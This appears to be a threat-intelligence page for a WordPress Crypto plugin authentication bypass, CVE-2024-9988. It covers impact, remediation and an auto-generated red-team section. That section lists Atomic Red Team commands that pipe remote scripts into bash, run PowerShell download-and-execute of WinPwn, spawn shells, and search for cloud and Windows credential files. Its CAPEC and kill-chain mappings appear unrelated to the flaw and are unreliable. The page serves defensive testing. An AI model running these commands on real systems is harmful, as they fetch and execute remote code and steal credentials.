CVE-2024-9988
Overview
This vulnerability is an authentication bypass caused by inadequate validation of user identity within the 'crypto_connect_ajax_process::register' function of the Crypto plugin for WordPress. The root cause lies in the absence of proper verification of the supplied username parameter during the AJAX registration process. This flaw affects the authentication mechanism of the Crypto plugin component, allowing unauthorized access to user sessions without credential checks.
Vulnerability Description
The Crypto plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 2.19. This is due to missing validation on the user being supplied in the 'crypto_connect_ajax_process::register' function. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they have access to the username.
Impact
An unauthenticated attacker with knowledge of a valid username can log in as any existing user, including administrators, without needing credentials or user interaction. This enables full account takeover, allowing unauthorized access to sensitive data and administrative functions. The vulnerability requires only network access to the WordPress site and no privileges, as indicated by CVSS vector AV:N/AC:L/PR:N/UI:N, resulting in complete confidentiality, integrity, and availability compromise of the affected WordPress installation.
Solution
To remediate this issue, upgrade the odude Crypto Tool WordPress plugin to a version later than 2.19 where the authentication bypass has been fixed. The Wordfence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/7bfe87cf-9883-4f8f-a0f5-23bbc7bb9b7c) details the vulnerability and patch. Additionally, review the plugin's changelog and apply the patch from changeset 3195424, which adds the necessary validation checks in the 'crypto_connect_ajax_process::register' function. No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Crypto plugin for WordPress stems from a critical flaw in the authentication mechanism, specifically within the 'crypto_connect_ajax_process::register' function. This flaw arises from inadequate validation of the user input, allowing an attacker to bypass authentication checks. The absence of proper validation means that an unauthenticated user can exploit this weakness to impersonate any existing user on the site, including those with elevated privileges such as administrators. The implications of this vulnerability are severe, as it undermines the foundational security model of WordPress, which relies on user authentication to protect sensitive operations and data.
Attack vectors for exploiting this vulnerability are straightforward and can be executed with minimal technical expertise. An attacker only needs to know the username of a target account, which is often publicly accessible on many WordPress sites. By sending a crafted request to the vulnerable function, the attacker can gain unauthorized access to the account. This exploitation could lead to a range of malicious activities, including data exfiltration, unauthorized changes to site content, or even complete site takeover. The ease of exploitation combined with the potential for significant damage makes this vulnerability particularly concerning for website administrators and users alike.
The real-world impact of this vulnerability can be profound, especially for businesses that rely on WordPress for their online presence. A successful attack could lead to unauthorized access to sensitive customer information, financial data, or proprietary business content. The repercussions of such a breach can include reputational damage, loss of customer trust, and potential legal liabilities, particularly if personal data is compromised. Additionally, businesses may face operational disruptions as they scramble to mitigate the breach and restore security, leading to financial losses and reduced productivity. The high CVSS score of 9.8 reflects the critical nature of this vulnerability and the urgent need for remediation.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and vulnerability assessments should be conducted to identify and remediate weaknesses in plugins and themes. Specifically, updating the Crypto plugin to the latest version, which addresses this authentication bypass issue, is essential. Additionally, employing web application firewalls (WAFs) can help filter out malicious requests and provide an additional layer of security. Organizations should also consider implementing strong access controls and user education programs to ensure that users understand the importance of secure password practices and the risks associated with sharing usernames publicly.
In conclusion, the authentication bypass vulnerability in the Crypto plugin for WordPress presents a significant threat to website security. The technical details reveal a fundamental flaw in user validation, enabling attackers to exploit this weakness easily. The potential for real-world impact underscores the importance of prompt detection and mitigation strategies. By prioritizing security measures and maintaining awareness of plugin vulnerabilities, organizations can better protect themselves against the risks posed by such critical security flaws.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-9988, with telemetry indicating the initial emergence of exploitation attempts targeting the Crypto plugin for WordPress. Concurrently, the Exploit Prediction Scoring System (EPSS) score for this vulnerability has risen significantly, reflecting an increased likelihood of exploitation in the wild. This upward trend in both detection and predictive scoring underscores a growing attacker interest and capability to leverage the authentication bypass flaw, which remains critical due to its potential to grant unauthorized administrative access. Although no new exploit code has been publicly disclosed, the observed telemetry suggests that threat actors are actively probing or attempting to exploit this vulnerability, elevating the operational risk for affected environments. Defenders should consider this development a signal of heightened threat activity, as the increased EPSS percentile and detection frequency indicate that exploitation attempts are transitioning from theoretical to practical phases. Consequently, the threat level associated with CVE-2024-9988 has intensified, warranting increased vigilance in monitoring and response efforts.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Odude | Crypto Tool | All |
cpe:2.3:a:odude:crypto_tool:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
40%
|
Low | Very High | |
| CAPEC-127 | Directory Indexing |
30%
|
High | Medium |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-9988 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/7bfe87cf-9883-4f8f-a0f5-23bbc7bb9b7c?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/crypto/tags/2.10/includes/class-crypto_connect_ajax_register.php#L91 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3195424/crypto#file3 |